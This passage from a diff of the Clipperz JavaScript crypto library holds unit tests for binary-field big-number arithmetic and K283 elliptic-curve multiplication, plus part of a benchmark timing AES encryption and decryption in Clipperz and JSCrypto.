expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b85500', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "Value.shiftLeft(8)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = value_1.shiftLeft(10);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('38e c3110a63 f070526b efd32265 bee4909e b9079192 6e4d3292 56646de1 4ae15400', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "Value.shiftLeft(10)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
result = value_1.shiftLeft(32);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ff00000000', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ff.shiftLeft(32)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
result = value_1.shiftLeft(4096);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(4096)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
result = value_1.shiftLeft(5000);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "bigInt.shiftLeft(4096)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("0", 16);
|
||||
is(value_1.bitSize(), 0, "0.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("10", 16);
|
||||
is(value_1.bitSize(), 5, "10.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("80", 16);
|
||||
is(value_1.bitSize(), 8, "80.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
is(value_1.bitSize(), 8, "ff.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("100", 16);
|
||||
is(value_1.bitSize(), 9, "100.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("80000000", 16);
|
||||
is(value_1.bitSize(), 32, "80000000.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ffffffff", 16);
|
||||
is(value_1.bitSize(), 32, "ffffffff.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("1 00000000", 16);
|
||||
is(value_1.bitSize(), 33, "100000000.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("8000 00000000", 16);
|
||||
is(value_1.bitSize(), 48, "8000 00000000.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ffff ffffffff", 16);
|
||||
is(value_1.bitSize(), 48, "ffff ffffffff.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("10000 00000000", 16);
|
||||
is(value_1.bitSize(), 49, "10000 00000000.bitSize()");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("6bcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f8d0b29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
is(value_1.bitSize(), 1119, "6bcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f8d0b29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16.bitSize()");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,160 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<!-- - ->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<!- - -->
|
||||
<!-- -->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Base.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Async.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/DOM.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Logging.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Iter.js"></script>
|
||||
<!-- -->
|
||||
|
||||
<!-- - ->
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Style.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Signal.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Color.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Position.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/Visual.js"></script>
|
||||
<!- - -->
|
||||
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>-->
|
||||
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Value.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Point.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/FiniteField.js'></script>-->
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Curve.js'></script>-->
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/Koblitz/Value.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/Koblitz/Point.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/Koblitz/FiniteField.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/Koblitz/Curve.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/StandardCurves.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
|
||||
var deferredResult;
|
||||
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred();
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 1: " + res); return res;});
|
||||
|
||||
//
|
||||
// ECC.Curve.multiplication
|
||||
//
|
||||
var curve;
|
||||
var f2m;
|
||||
var f2m_improved;
|
||||
var value;
|
||||
var moduledValue;
|
||||
var result;
|
||||
var result_improved;
|
||||
var expectedResul;
|
||||
|
||||
f2m = new Clipperz.Crypto.ECC.Koblitz.FiniteField({modulus:new Clipperz.Crypto.ECC.Koblitz.Value('08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000010a1', 16)})
|
||||
f2m_improved = Clipperz.Crypto.ECC.StandardCurves.K283().finiteField();
|
||||
|
||||
curve = Clipperz.Crypto.ECC.StandardCurves.K283();
|
||||
|
||||
/** /
|
||||
value = new Clipperz.Crypto.ECC.Koblitz.Value("7b", 16);
|
||||
result = curve.multiply(value, curve.G());
|
||||
expectedResult = new Clipperz.Crypto.ECC.Koblitz.Point({
|
||||
x: new Clipperz.Crypto.ECC.Koblitz.Value('29705d23a9cda75e43984bdb9a8fd33304682da0f506a69bdbd5f36657e11b41e35fcdd', 16),
|
||||
y: new Clipperz.Crypto.ECC.Koblitz.Value('59157d2ace16563a905361c5206cc0775c3330f4978bddf8aa9916c451cf9951313623b', 16)
|
||||
});
|
||||
is(result.x().asString(16), expectedResult.x().asString(16), "ECC.Curve.multiplication: result.x does match");
|
||||
is(result.y().asString(16), expectedResult.y().asString(16), "ECC.Curve.multiplication: result.y does match");
|
||||
/ **/
|
||||
|
||||
value = new Clipperz.Crypto.ECC.Koblitz.Value("ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", 16);
|
||||
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 6: " + res); return res;});
|
||||
// deferredResult.addCallback(console.time, 'K283.deferred.multiply - moduled value');
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("2 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 7: " + res); return res;});
|
||||
deferredResult.addMethod(curve, 'deferredMultiply', value, curve.G());
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("3 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 8: " + res); return res;});
|
||||
// deferredResult.addBoth(function(res) {console.timeEnd('K283.deferred.multiply - moduled value'); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("4 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 9: " + res); return res;});
|
||||
deferredResult.addCallback(function(res) {
|
||||
var expectedResult;
|
||||
|
||||
expectedResult = new Clipperz.Crypto.ECC.Koblitz.Point({
|
||||
x: new Clipperz.Crypto.ECC.Koblitz.Value('7cf07c0880d1ae59f567a2ce420e78d1fdfc1249df694a60e5d40d23c6dc631e1501b77', 16),
|
||||
y: new Clipperz.Crypto.ECC.Koblitz.Value('97d1257d5c98cf71cf481bc0a495e0588150ea904526f503cd600f5e971c39700e95f1', 16)
|
||||
});
|
||||
|
||||
is(res.x().asString(16), expectedResult.x().asString(16), "ECC.Curve.multiplication: result.x does match");
|
||||
is(res.y().asString(16), expectedResult.y().asString(16), "ECC.Curve.multiplication: result.y does match");
|
||||
})
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("5 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 10: " + res); return res;});
|
||||
deferredResult.addBoth(function(res) {SimpleTest.finish(); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 11: " + res); return res;});
|
||||
deferredResult.callback();
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,418 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
//function logElapsedTime(aDescription, aStartTime, anEndTime) {
|
||||
// MochiKit.Logging.logDebug(aDescription + " - took " + (anEndTime - aStartTime) + "ms");
|
||||
// SimpleTest.ok(true, aDescription + " - took " + (anEndTime - aStartTime) + "ms");
|
||||
//}
|
||||
|
||||
var asciiTestString = longAsciiText;
|
||||
//asciiTestString = asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString;
|
||||
//asciiTestString = asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString;
|
||||
//asciiTestString = asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString;
|
||||
//asciiTestString = asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString + asciiTestString;
|
||||
//asciiTestString = asciiTestString + asciiTestString;
|
||||
//asciiTestString = asciiTestString + asciiTestString;
|
||||
|
||||
var isoLatin1TestString = longIsoLatin1Text;
|
||||
//isoLatin1TestString = isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString;
|
||||
//isoLatin1TestString = isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString;
|
||||
//isoLatin1TestString = isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString + isoLatin1TestString;
|
||||
//isoLatin1TestString = isoLatin1TestString + isoLatin1TestString;
|
||||
//isoLatin1TestString = isoLatin1TestString + isoLatin1TestString;
|
||||
|
||||
var utf8TestString = longUtf8Text;
|
||||
//utf8TestString = utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString;
|
||||
//utf8TestString = utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString + utf8TestString;
|
||||
//utf8TestString = utf8TestString + utf8TestString;
|
||||
//utf8TestString = utf8TestString + utf8TestString;
|
||||
|
||||
var times = {
|
||||
'Clipperz': {},
|
||||
'JSCrypto': {}
|
||||
};
|
||||
|
||||
function appendResults (aDescription, aTimer) {
|
||||
MochiKit.DOM.appendChildNodes(MochiKit.DOM.getElement('timerTBODY'),
|
||||
MochiKit.DOM.TR(null,
|
||||
MochiKit.DOM.TH({align:'left'}, aDescription),
|
||||
MochiKit.DOM.TH(null, aTimer['ascii']['encrypt'] + ' - ' + aTimer['ascii']['decrypt'])//,
|
||||
// MochiKit.DOM.TH(null, aTimer['isoLatin1']['encrypt'] + ' - ' + aTimer['isoLatin1']['decrypt']),
|
||||
// MochiKit.DOM.TH(null, aTimer['utf8']['encrypt'] + ' - ' + aTimer['utf8']['decrypt'])
|
||||
)
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
function timeRegularFunction (aDescription, aString, anEncryptFunction, aDecryptFunction, aTimer, aKey) {
|
||||
var start;
|
||||
var end;
|
||||
var encryptTime;
|
||||
var decryptTime;
|
||||
var ciphertext;
|
||||
var plaintext;
|
||||
|
||||
|
||||
start = new Date();
|
||||
ciphertext = anEncryptFunction('trustno1', aString);
|
||||
end = new Date();
|
||||
encryptTime = end - start;
|
||||
|
||||
start = new Date();
|
||||
plaintext = aDecryptFunction('trustno1', ciphertext);
|
||||
end = new Date();
|
||||
decryptTime = end - start;
|
||||
aTimer[aKey] = { 'encrypt': encryptTime, 'decrypt': decryptTime };
|
||||
SimpleTest.is(aString, plaintext, aDescription);
|
||||
}
|
||||
/*
|
||||
function timeRegularFunction (anEncryptFunction, aDecryptFunction, aTimer) {
|
||||
var start;
|
||||
var end;
|
||||
var encryptTime;
|
||||
var decryptTime;
|
||||
var ciphertext;
|
||||
var plaintext;
|
||||
|
||||
|
||||
start = new Date();
|
||||
ciphertext = anEncryptFunction('trustno1', asciiTestString);
|
||||
end = new Date();
|
||||
encryptTime = end - start;
|
||||
|
||||
start = new Date();
|
||||
plaintext = aDecryptFunction('trustno1', ciphertext);
|
||||
end = new Date();
|
||||
decryptTime = end - start;
|
||||
aTimer['ascii'] = { 'encrypt': encryptTime, 'decrypt': decryptTime };
|
||||
SimpleTest.is(asciiTestString, plaintext, "Encrypt/decrypt the ASCII text");
|
||||
|
||||
|
||||
start = new Date();
|
||||
ciphertext = anEncryptFunction('trustno1', isoLatin1TestString);
|
||||
end = new Date();
|
||||
encryptTime = end - start;
|
||||
|
||||
start = new Date();
|
||||
plaintext = aDecryptFunction('trustno1', ciphertext);
|
||||
end = new Date();
|
||||
decryptTime = end - start;
|
||||
aTimer['isoLatin1'] = { 'encrypt': encryptTime, 'decrypt': decryptTime };
|
||||
SimpleTest.is(isoLatin1TestString, plaintext, "Encrypt/decrypt the ISO-Latin 1 text");
|
||||
|
||||
|
||||
start = new Date();
|
||||
ciphertext = anEncryptFunction('trustno1', utf8TestString);
|
||||
end = new Date();
|
||||
encryptTime = end - start;
|
||||
|
||||
start = new Date();
|
||||
plaintext = aDecryptFunction('trustno1', ciphertext);
|
||||
end = new Date();
|
||||
decryptTime = end - start;
|
||||
aTimer['utf8'] = { 'encrypt': encryptTime, 'decrypt': decryptTime };
|
||||
SimpleTest.is(utf8TestString, plaintext, "Encrypt/decrypt the UTF-8 text");
|
||||
}
|
||||
*/
|
||||
function timeDeferredFunction (aDescription, aString, anEncryptFunction, aDecryptFunction, aTimer, aKey, someTestArgs) {
|
||||
var start;
|
||||
var end;
|
||||
|
||||
var deferredResult;
|
||||
|
||||
aTimer[aKey] = {};
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("timeDeferredFunction", someTestArgs);
|
||||
deferredResult.addCallback(function (aValue) { start = new Date(); return aValue});
|
||||
deferredResult.addCallback(anEncryptFunction, 'trustno1', aString);
|
||||
deferredResult.addCallback(function (aValue) {
|
||||
end = new Date();
|
||||
aTimer[aKey]['encrypt'] = end-start;
|
||||
return aValue;
|
||||
});
|
||||
deferredResult.addCallback(function (aValue) { start = new Date(); return aValue});
|
||||
deferredResult.addCallback(aDecryptFunction, 'trustno1');
|
||||
deferredResult.addCallback(function (aValue) {
|
||||
end = new Date();
|
||||
aTimer[aKey]['decrypt'] = end-start;
|
||||
return aValue;
|
||||
});
|
||||
deferredResult.addCallback(function (aValue) {
|
||||
SimpleTest.is(aString, aValue, aDescription);
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
function encryptUsingJSCrypto (aKey, aValue) {
|
||||
var salt;
|
||||
var key;
|
||||
var cipher;
|
||||
var iv;
|
||||
var plaintext;
|
||||
var ciphertext;
|
||||
var tag;
|
||||
var adata;
|
||||
|
||||
salt = [1,2,3,4,5,6,7,8];
|
||||
key = generateKey(aKey, salt);
|
||||
|
||||
cipher = new aes(key, CCM);
|
||||
iv = Random.random_words(4);
|
||||
|
||||
plaintext = aValue;
|
||||
ciphertext = [];
|
||||
tag = [];
|
||||
adata = "";
|
||||
|
||||
cipher.encrypt(iv, plaintext, ciphertext, adata, tag);
|
||||
|
||||
return ciphertext;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
function decryptUsingJSCrypto (aKey, aValue) {
|
||||
var salt;
|
||||
var key;
|
||||
var cipher;
|
||||
var ciphertext;
|
||||
var plaintext;
|
||||
var tag;
|
||||
var adata;
|
||||
|
||||
salt = [1,2,3,4,5,6,7,8];
|
||||
key = generateKey(aKey, salt);
|
||||
tag = [];
|
||||
adata = "";
|
||||
|
||||
cipher = new aes(key, CCM);
|
||||
ciphertext = aValue;
|
||||
plaintext = cipher.decrypt(ciphertext, adata, tag);
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
function encryptUsingClipperz (aKey, aValue) {
|
||||
var key;
|
||||
var value;
|
||||
var data;
|
||||
var encryptedData;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
value = aValue;
|
||||
data = new Clipperz.ByteArray(value);
|
||||
encryptedData = Clipperz.Crypto.AES.encrypt(key, data);
|
||||
return encryptedData.toBase64String();
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
function decryptUsingClipperz (aKey, aValue) {
|
||||
var key;
|
||||
var value;
|
||||
var decryptedData;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
value = new Clipperz.ByteArray().appendBase64String(aValue);
|
||||
|
||||
decryptedData = Clipperz.Crypto.AES.decrypt(key, value).asString();
|
||||
|
||||
return decryptedData;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
function encryptUsingClipperzAndJSON (aKey, aValue) {
|
||||
var key;
|
||||
var value;
|
||||
var data;
|
||||
var encryptedData;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
value = Clipperz.Base.serializeJSON(aValue);
|
||||
data = new Clipperz.ByteArray(value);
|
||||
encryptedData = Clipperz.Crypto.AES.encrypt(key, data);
|
||||
return encryptedData.toBase64String();
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
function decryptUsingClipperzAndJSON (aKey, aValue) {
|
||||
var key;
|
||||
var value;
|
||||
var decryptedData;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
value = new Clipperz.ByteArray().appendBase64String(aValue);
|
||||
|
||||
decryptedData = Clipperz.Crypto.AES.decrypt(key, value).asString();
|
||||
|
||||
return Clipperz.Base.evalJSON(decryptedData);
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
function deferredEncryptUsingClipperz (aKey, aValue) {
|
||||
var deferredResult;
|
||||
var key;
|
||||
var data;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
data = new Clipperz.ByteArray(aValue);
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Clipperz.deferredEncrypt", {trace:false});
|
||||
deferredResult.addCallback(Clipperz.Crypto.AES.deferredEncrypt, key, data);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
return aResult.toBase64String();
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
function deferredDecryptUsingClipperz (aKey, aValue) {
|
||||
var key, value;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha_d256(new Clipperz.ByteArray(aKey));
|
||||
value = new Clipperz.ByteArray().appendBase64String(aValue);
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Clipperz.deferredDecrypt", {trace:false});
|
||||
deferredResult.addCallback(Clipperz.Crypto.AES.deferredDecrypt, key, value);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
return aResult.asString();
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'encryptMultipleStringsUsingClipperzFunctions': function (someTestArgs) {
|
||||
// timeRegularFunction(encryptUsingClipperz, decryptUsingClipperz, times['Clipperz']['Regular']);
|
||||
times['Clipperz']['NO JSON'] = {};
|
||||
|
||||
timeRegularFunction("Clipperz - NO JSON - Ascii", asciiTestString, encryptUsingClipperz, decryptUsingClipperz, times['Clipperz']['NO JSON'], 'ascii');
|
||||
timeRegularFunction("Clipperz - NO JSON - ISO Latin 1", isoLatin1TestString, encryptUsingClipperz, decryptUsingClipperz, times['Clipperz']['NO JSON'], 'isoLatin1');
|
||||
timeRegularFunction("Clipperz - NO JSON - UTF-8", utf8TestString, encryptUsingClipperz, decryptUsingClipperz, times['Clipperz']['NO JSON'], 'utf8');
|
||||
|
||||
appendResults("Clipperz - NO JSON", times['Clipperz']['NO JSON']);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'encryptMultipleStringsUsingClipperzAndJSONFunctions': function (someTestArgs) {
|
||||
// timeRegularFunction(encryptUsingClipperzAndJSON, decryptUsingClipperzAndJSON, times['Clipperz']['JSON']);
|
||||
times['Clipperz']['JSON'] = {};
|
||||
|
||||
timeRegularFunction("Clipperz - JSON - Ascii", asciiTestString, encryptUsingClipperzAndJSON, decryptUsingClipperzAndJSON, times['Clipperz']['JSON'], 'ascii');
|
||||
timeRegularFunction("Clipperz - JSON - ISO Latin 1", isoLatin1TestString, encryptUsingClipperzAndJSON, decryptUsingClipperzAndJSON, times['Clipperz']['JSON'], 'isoLatin1');
|
||||
timeRegularFunction("Clipperz - JSON - UTF-8", utf8TestString, encryptUsingClipperzAndJSON, decryptUsingClipperzAndJSON, times['Clipperz']['JSON'], 'utf8');
|
||||
|
||||
appendResults("Clipperz - JSON", times['Clipperz']['JSON']);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'encryptMultipleStringsUsingClipperzDeferredFunctions': function (someTestArgs) {
|
||||
times['Clipperz']['Deferred'] = {};
|
||||
times['Clipperz']['Deferred [NO JSON]'] = {};
|
||||
|
||||
return Clipperz.Async.callbacks("encryptMultipleStringsUsingClipperzDeferredFunctions", [
|
||||
MochiKit.Base.partial(timeDeferredFunction, "Deferred Ascii", asciiTestString, deferredEncryptUsingClipperz, deferredDecryptUsingClipperz, times['Clipperz']['Deferred [NO JSON]'], 'ascii', someTestArgs),
|
||||
